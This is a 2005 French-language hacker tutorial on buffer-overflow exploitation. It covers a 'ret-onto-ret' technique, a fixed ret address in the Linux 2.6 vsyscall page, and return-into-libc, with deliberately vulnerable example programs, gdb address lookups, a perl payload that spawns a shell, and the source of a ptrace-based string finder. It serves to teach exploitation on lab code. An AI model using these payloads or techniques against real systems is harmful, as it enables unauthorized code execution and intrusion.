                   _                 _                   _     _       _        
                  | |               | |                 | |   (_)     | |       
          _ __ ___| |_    ___  _ __ | |_ ___    _ __ ___| |_   _ _ __ | |_ ___  
         | '__/ _ \ __|  / _ \| '_ \| __/ _ \  | '__/ _ \ __| | | '_ \| __/ _ \ 
         | | |  __/ |_  | (_) | | | | || (_) | | | |  __/ |_  | | | | | || (_) |
         |_|  \___|\__|  \___/|_| |_|\__\___/  |_|  \___|\__| |_|_| |_|\__\___/ 
                                                                       
                                                          _ _     
                                                         | | |    
                           __   _____ _   _ ___  ___ __ _| | |___ 
                           \ \ / / __| | | / __|/ __/ _` | | / __|
                            \ V /\__ \ |_| \__ \ (_| (_| | | \__ \
                             \_/ |___/\__, |___/\___\__,_|_|_|___/
                                       __/ |                      
                                      |___/          

    -- [ ret-onto-ret-into-vsyscalls

RORIV - Document dat du 18 Mars 2005.
Synopsis : 
	+ Mthode d'exploitation originale de buffers overflows
Caractristiques : 
	+ ret-onto-ret
	+ 2.6.x ret-into-vsyscalls 
	+ sur stack excutable
Points faibles de la mthode prsente :
	+ sur stack excutable
	+ contexte particulier de la pile ncessaire
Points forts de la mthode prsente :
	+ contexte particulier frquent
	+ prdiction d'adresses
	+ aucun NOP
	+ aucun brute-force

Sommaire :
	1. Prsentation du contexte et du problme
	2. Solution du ret-onto-ret
	3. Avances : ret-into-vsyscalls sur 2.6
	4. Bilan
	Annexe : return-into-libc
	Annexe 2 : code source resolver


1. LE CONTEXTE ET LE PROBLEME
-----------------------------

	La mthode que je prsente  ceci d'originale qu'elle rpond aux 
problmes rencontrs lors de l'exploitation d'un buffer overflow sur un contexte
particulier de la pile. Elle a pour origine un arrachage de cheveux mineur lors 
d'une tentative d'exploitation...
	
	Les difficults techniques prsentes sont frquentes, nous verrons que 
le contexte exemple que nous tudierons s'inscrit dans une problmatique 
gnrale facilement abordable. 
	La mthode que nous dcortiquerons ensuite permet de pallier les 
difficults rencontres en toute simplicit et avec une grande efficacit.
	D'o le sommaire. Suivez.
	
	La lecture de ce tutorial prsuppose que vous savez exploiter un 
classique stack overflow.
	Disons autrement que si vous savez exploiter un stack overflow, vous 
comprendrez cet article. 
	Zut... Vous tes partis ? 

	...
		
	Ha non ? Vous tes toujours l, trs bien. Etudions un petit bout de 
code "scolaire", et situons-y la vulnrabilit.

--- Exemple ---
	
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void    copy(char *str)
{
  char	buf[64];
  int	i;

  memset(buf, 0, 64);
  for (i = 0; str[i]; i++) {
	 buf[i] = str[i];
  }
}

int     main(int ac, char **av)
{
  if (ac < 2) {
	 fprintf(stderr, "I take at least one argument.\n");
	 return (0);
  }
  copy(av[1]);
  return (0);
}

--- Fin exemple ---

	Ce code ne fait rien d'intressant (vous pouvez l'amliorer si vous 
voulez gcher mon plaisir de produire du code inutile). Le programme copie une 
chane de caractre passe sur la ligne de commande dans un buffer de 64 octets 
 partir de la fonction copy().

	Etant initis aux stacks overflows, ou bien acharns sur ce pauvre 
article, vous aurez devin que la vulnrabilit se situe dans la fonction 
copy(). 
	Si la chane est trop longue, on crase, en dehors du buffer, EBP (si 
prologue) puis EIP.
	
	Nous supposons que le contexte d'exploitation (l'environnement 
d'excution) nous empche de brute-forcer, pour quelque raison que ce soit, 
l'adresse de retour sur un ventuel shellcode pass en argument.
	L'ide est donc de passer par une mthode efficace o la prdiction est 
un levier d'efficacit, par exemple un return-into-libc.

	Voil pose la requte : exploiter un return-into-libc sur ce code. 
Pourquoi ? Pour profiter du fait que cette mthode, beaucoup plus prcise, 
constitue une solution alternative  une attaque de force brute - surtout quand 
le buffer ne fait que 64 octets.

	Si vous ne connaissez pas le principe d'un return-into-libc, lisez 
l'annexe consacre  l'explication de cette mthode. Revenez ici plus tard. Non,
pas ici, deux paragraphes au dessus. 
	Je postule dsormais que vous comprenez qu'il est techniquement 
ncessaire de prparer un certain nombre de donnes sur la pile afin de voir 
aboutir un return-into-libc. Alors soyez attentifs  ce qui suit...

 	Zoomons le code de la fonction copy(). L'adresse de la chane  copier 
est le seul argument  tre pass  la fonction. Autrement dit, c'est le premier
argument, il se trouve juste aprs EIP.

	Si l'lement provoquant le buffer overflow - ici une chane trop longue 
(et un code  chier des castors) - est l'un des premiers pass en argument, 
alors il devient impossible de l'craser pour placer d'autres donnes sur la 
pile. Malheureusement ces "autres donnes" sont justement celles qui nous 
servent  raliser un return-into-libc.

	Comprenez-vous bien pourquoi un ret-into-libc nous est interdit ? 
Ecraser le pointeur qui est utilis pour la copie va dtourner la copie sur une
autre donne que la chane de caractres originale et en parallle la copie 
continue d'craser le pointeur  partir de donnes alatoires.
	Pour chaque octet copi sur le pointeur, les donnes concernes par 
celui-ci sautent... Danse folle qui se termine sur un octet nul ou une erreur de
segmentation.


2. SOLUTION DU RET-ONTO-RET
---------------------------

	Comment passer outre cette difficult ? Question pige, la rponse est 
dans le titre. Voil l'tat de la pile pour la fonction copy() avant 
l'exploitation :

haut
|    ...    |
+-----------+
|   *str    |
+-----------+
|    EIP    |
+-----------+
|	    |
|  buf[64]  |
|	    |
+-----------+
|    ...    |
bas

	Si nous crasons EIP avec l'adresse d'une instruction ret, un deuxime 
retour de fonction sera excut.
	Ce deuxime retour va prendre l'adresse pointe par le registre ESP,  
savoir *str et la placer dans EIP. L'excution continue sur notre chane de 
caractre, qui pourrait tout aussi bien contenir un shellcode.

	Comme l'excution revient directement sur le dbut de notre chane, nous
pouvons profiter pleinement des 64 octets du buffer pour placer un shellcode, 
sans avoir besoins d'instructions de type NOP, et en prsupposant, bien sr, que
la pile soit excutable.
	La prdiction est assure automatiquement par la configuration de la
pile. Un seul retour est ici ncessaire, car l'argument qui pointe notre 
shellcode est le premier. On peut envisager plusieurs retours pour faire 
coincider EIP et *str si ce pointeur n'est pas le premier, mais le deuxime ou 
troisime argument pass  la fonction vulnrable.

	Toute la difficult se rsume  trouver l'adresse d'une instruction ret,
ce qui n'est pas rellement une difficult en soi : la libc en contient assez 
pour nourrir toute une arme de shellcoders. On applique les mthodes 
habituelles de prdiction d'adresses si on n'a pas la main sur le procfs du 
systme local. A moins que...


3. RET-INTO-VSYSCALLS SUR LINUX 2.6
-----------------------------------

	Par chance, les dveloppeurs du kernel ont eu la bont de prendre en 
compte nos tracas, et ont intgr sur le noyau 2.6 un support pour les appels 
systme virtuels nativement activ.

	Cet article est pour l'ignorant l'occasion d'en apprendre un peu plus 
sur les vsyscalls.
	Les appels systme virtuels se prsentent sous la forme de code 
excutable mapp en espace noyau, mais dont le code est accessible depuis un 
processus user-land. Ils ont pour but d'acclrer le temps d'excution de 
fonctions "basiques", normalement assures par le noyau, mais dont le code 
pourrait tout aussi bien tre excut sans passer par une interruption coteuse 
en cycles processeurs.
	C'est par exemple le cas de la fonction (man 2) sigreturn() qui a son 
quivalent disponible en vsyscall. 

	Vous l'aurez compris, si le code est excutable en user-land, alors la 
rgion mmoire du code est mappe pour le processus. Confirmons :

--> cat /proc/self/maps
08048000-0804c000 r-xp 00000000 03:01 589888     /bin/cat
0804c000-0804d000 rw-p 00003000 03:01 589888     /bin/cat
0804d000-0806e000 rw-p 0804d000 00:00 0 
40000000-40016000 r-xp 00000000 03:01 671776     /lib/ld-2.3.2.so
40016000-40017000 rw-p 00015000 03:01 671776     /lib/ld-2.3.2.so
40017000-40018000 rw-p 40017000 00:00 0 
40022000-4014b000 r-xp 00000000 03:01 2048049    /lib/tls/libc-2.3.2.so
4014b000-40153000 rw-p 00129000 03:01 2048049    /lib/tls/libc-2.3.2.so
40153000-40157000 rw-p 40153000 00:00 0 
bffff000-c0000000 rw-p bffff000 00:00 0 
ffffe000-fffff000 ---p 00000000 00:00 0 

	La rgion mmoire mappe  0xffffe000 contient nos vsyscalls... Et 
peut-tre un ret.
	On attache un processus avec GDB, on dsassemble la rgion mmoire 
concerne, et qu'obtient-on en louchant un peu ?

(gdb) x/i 0xffffe413
0xffffe413 <__kernel_vsyscall+19>:      ret

	Il s'avre que sur de nombreux noyaux 2.6 vous pouvez tre surs de 
trouver un return  cette adresse. A vrifier chez vous. 
	
	Voil une utilisation bien pratique des vsyscalls.


4. CONCLUSION
-------------

	Partant d'un problme simple nous avons trouv une solution lgante 
pour retourner sans aucune difficult sur du code excutable plac sur la pile 
(ou dans le tas), en crasant  partir de EIP, voire au del, zero, un ou 
plusieurs arguments avec une adresse redondante pointant sur une instruction 
ret.
	
	... 
	
	Je n'ai rien  ajouter. Have fun.


Clad Strife,
* Greetz to Frhack team *




ANNEXE : RETURNS-INTO-LIBC
--------------------------

	Cette annexe constitue un rappel sur les buffer overflows exploitables 
par return-into-libc. Sa lecture s'adresse aux personnes sachant au moins 
exploiter un classique stack overflow.

	La mthode du return-into-libc consiste, non pas  excuter un 
shellcode, mais  dtourner le programme en lui faisant excuter du code qui, 
comme vous l'avez compris, est bien souvent dans une librairie telle que la 
libc.
	Et comme les librairies sont charges  des adresses prdictibles sur 
les noyaux standards, on les retrouve trs facilement d'un programme  l'autre.

	La libc, par exemple, contient toutes les fonctions utiles  
l'excution d'un shell. Un simple appel  (man 3) system(), avec 
l'adresse d'une chane "/bin/sh" ne suffirait-il pas  satisfaire certains de 
nos besoins ? (Si oui, c'est un aveu !).

	Il faut que vous visualisiez le processus suivant : vous venez d'craser
EIP avec l'adresse de la fonction system() situe dans l'espace mmoire du 
processus vulnrable. Le programme saute sur system(). La fonction system() va 
faire son prologue, sans erreurs. Par contre system() va vouloir aller chercher 
le paramtre que vous lui avez pass, et il s'attend pour cela  ce qu'il y ait 
un argument sur la pile.
	L'argument sur la pile, c'est l'adresse d'une chane de caractre 
"/bin/sh". Seulement, pas de bol, elle n'est pas l. Il faut crire cet argument
sur la pile si vous voulez que system() le rcupre.
	
	Et o system() va-t-il rcuprer ce fameux pointeur ? Juste aprs EIP 
bien sr. La convention d'appel de fonctions veut que les arguments soit empils
dans l'ordre inverse de leur dclaration en C, juste avant d'empiler EIP. Ici, 
il n'y a qu'un argument. 

	Voil l'tat d'une pile avec zoom sur EIP, avant exploitation d'une 
fonction vulnrable, et aprs crasage des donnes sur la pile pour un 
return-into-libc. On dit de cette action que l'on "prpare la pile".

AVANT :			APRES :

haut			haut
|    ...    |		|    ...    |
+-----------+		+-----------+
|   QQCH2   |		|   QQCH2   |
+-----------+		+-----------+
|   QQCH1   |		| "/bin/sh" |
+-----------+		+-----------+
|    ARG1   |		|  fake EIP |
+-----------+		+-----------+
|    EIP    |		|  system() |
+-----------+		+-----------+
|    ...    |		|    ...    |
bas			bas

	+ system() est l'adresse de la fonction system() dans la libc
	+ fake EIP est le faux EIP sur lequel ESP va pointer lorsqu'il va 
	rentrer dans la fonction system(). Pour la fonction system(), qui croit 
	qu'on vient de l'appeler par un 'call', il y a un EIP l o pointe ESP 
	quand on rentre dans la fonction. 
	La convention des Hackers du Dimanche veut que l'on mette ici l'adresse 
	de la fonction exit(), afin de quitter le programme "proprement" en cas 
	de retour de system() (erreur ou fin d'excution).
	+ "/bin/sh" est un pointeur vers cette chane plac l o system() 
	s'attend  le recevoir, c'est  dire aprs ce qu'il croit tre EIP.

	Les questions qui se posent sont les suivantes :
	1. Comment rcuprer l'adresse de system() ?
	2. Comment rcuprer l'adresse de exit() ?
	3. Comment rcuprer l'adresse de "/bin/sh" quelque part ?

	1 et 2 : utilisez gdb sur un processus en cours d'excution, tapez 
x/x system, puis x/x exit.
	3 : utilisez un scanner de mmoire bas sur ptrace() (memory dumper) ou 
un programme qui s'auto-parcourt. La libc contient la chane "/bin/sh", utilise
par exemple par la fonction (man 3) popen().

	Faites attention : la libc doit-tre la mme et mappe  la mme adresse
pour le programme vulnrable et vos programmes d'essais de rcupration 
d'adresses. En aveugle, on essaye de reproduire l'environnement cible et les 
jeux de dpendances de librairies (versions des logiciels). Cela est toujours 
plus ou moins hasardeux... 

	Je vous propose de suivre les exemples qui suivent. Nous supposons un 
buffer overflow dans un programme exemple, nous voulons l'exploiter par un 
return-into-libc.

--- Exemple ---

#include        <stdio.h>
#include        <string.h>
#include        <unistd.h>

void    copy(char *str)
{
  char	buf[1024];
  char	*new = strdup(str);
  int	i;

  for (i = 0; new[i]; i++) {
	 buf[i] = new[i];
  }
  buf[i] = 0;
}

int     main(int ac, char **av)
{
  if (ac < 2) {
	 fprintf(stderr, "I take at least one argument.\n");
	 return (0);
  }
  copy(av[1]);
  printf("pid = %d\n", getpid());
  while (1);
  return (0);
}

--- Fin exemple ---

	Ce code a t conu pour vous permettre d'apprendre  faire un 
return-into-libc. Il copie la chane de caractres passe en argument par la
fonction copy(). Cette fonction est vulnrable  un stack overflow, et permet
d'crire autant de donnes qu'on le souhaite au-del du tampon buf. Cela nous 
est permis grce au strdup() (sinon on craserait le pointeur utilis pendant la
copie juste aprs EIP).

	Compilez et lancez. "while(1)" est une abomination qui consomme vos 
ressources. Cela devrait vous motiver  lancer trs rapidement GDB sur le 
processus :

	$ gcc -o vuln vuln.c
	$ ./vuln toto
	pid = 1337
	(autre shell)
	$ gdb ./vuln 1337

	Voil maintenant le processus stopp, votre processeur peut souffler.
Rcuprons l'adresse de system() et d'exit().

	(gdb) x/x system
	0x400608a0 <system>:    0x83e58955
	(gdb) x/x exit
	0x4004d0a0 <exit>:      0x57e58955

	Bien, nous notons donc les adresses 0x400608a0 pour system() et 
0x4004d0a0 pour exit().

	Il nous faut maintenant trouver l'adresse de "/bin/sh", on va utiliser
un memory dumper bas sur ptrace() adapt pour cette recherche. Les arguments
qu'il devra prendre sont le PID du processus, et l'adresse de chargement de la 
libc. On y reviendra. Pour l'instant compilez le code donn dans l'annexe 2.
On l'utilise ainsi :

	$ gcc -o memdump memdump.c
      	$ cat /proc/1337/maps | grep libc
      	40022000-4014b000 r-xp 00000000 03:01 2048049    /lib/tls/libc-2.3.2.so
      	4014b000-40153000 rw-p 00129000 03:01 2048049    /lib/tls/libc-2.3.2.so
	$ ./memdump /bin/sh 1337 40022000
	Searching...
	[/bin/sh] found in processus 3560 at : 0x40143735.
      
      	Et voil, nous avons l'adresse d'une chane pour ouvrir un shell. Il ne 
nous reste plus qu' exploiter... Nous savons que le buffer fait 1024 octets.
Si EBP est empil lors du prologue (vrifier par un disass dans GDB) alors nous
avons 1032 octets  crire pour craser entirement EIP (1024 + 4 + 4).

	Nous devons donc passer l'argument suivant sur la ligne de commande :
	[1028 octets bourrage] [system()] [exit()] ["/bin/sh"]
	
	Ce qui nous donne, en little endian, pour system = 0x400608a0, 
exit = 0x4004d0a0 et "/bin/sh" = 0x40143735 :
	(gdb) r `perl -e 'print "x" x 1028, "\xa0\x08\x06\x40", "\xa0\xd0\x04\x40", "\x35\x37\x14\x40"'`
	Starting program: /tmp/vuln `perl -e 'print "x" x 1028, "\xa0\x08\x06\x40", "\xa0\xd0\x04\x40", "\x35\x37\x14\x40"'`
	sh-3.00$ 

	Il se peut que 1028 ne soit pas la taille vritablement alloue par le 
code (cela dpend comment le compilateur gre l'alignement). Chez moi ce fut 
1036, mais je ne l'ai pas report sur l'exemple.




ANNEXE 2 : CODE SOURCE STRING RESOLVER
--------------------------------------

--- String resolver source code (memdump.c) ---

/*
** memdump.c for 
** 
** Comments : a string resolver. It is basic, slow, beta, and just provided
** 'as is' with no warranty as code example.
** 
** Written by Clad Strife
** on Fri Mar 18 18:33:38 2005 - Paris
*/

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>

void	resolve_string(const char *str, int pid, void *base);

int	main(int ac, char **av)
{
	void	*base;
	void	*result;
	int	pid;

	/*
	** We need 4 params :
	** [progname] string PID 0x[base_address]
	*/
	if (ac < 4) {
		fprintf(stderr, 
			"Usage :\n%s string PID 0x[base_address]\n", av[0]);
		return (1);
	}
	/*
	** We init parameters
	*/
	base = (void *) strtol(av[3], 0, 16);
	pid = atoi(av[2]);
	/*
	** We call the resolver
	*/
	resolve_string(av[1], pid, base);
	/*
	** End of game.
	*/
	ptrace(PTRACE_DETACH, pid, 0, 0);
	return (0);
}


/*
** This function is based on ptrace(). It looks each byte of the memory for
** a string matching *str.
** It will print error messages on error while attaching but not if reading
** memory fails.
*/
void	resolve_string(const char *str, int pid, void *base)
{
	long	*res;
	int	length;
	int	i;
	int	j;
	int	inc = sizeof(long);
	int	flag = 0;	/* disabled */

	/*
	** Attach processus
	*/
	if (ptrace(PTRACE_ATTACH, pid, 0, 0) < 0) {
		perror("ptrace");
		return;
	}
	wait4(pid, 0, 0, 0);
	/*
	** length % inc should be equal to 0.
	*/
	length = strlen(str) + 1;
	if (length % inc) {
		length += inc - (length % inc);
	}
	if ((res = malloc(length)) == 0) {
		perror("malloc");
		exit(1);
	}
	/*
	** _Ugly_ memory parsing.
	*/
	printf ("Searching...\n");
	while (1) {
		for (i = 0, j = 0; i < length; i += inc, j++) {
			void	*tmpbase;

			tmpbase = (void *) ((long) base + i);
			/*
			** Read memory
			*/
			if ((res[j] = ptrace(PTRACE_PEEKDATA, pid, tmpbase, 0))
			    == (-1)) {
				/*
				** Error ?
				*/
				if (errno) {
					free(res);
					(flag) || printf("[%s] : not found.\n", 
							 str);
					return;
				}
			}
		}
		/*
		** Compare data with requested string
		*/
		if (!strcmp((char *) res, str)) {
			printf("[%s] found in processus %d at : %p.\n",
			       str, pid, base);
			flag = 1;
		}
		/*
		** Look next bytes
		*/
		base = (void *) ((unsigned int) base + 1);
	}	
	return;
}


    -- [ Clad-Strife
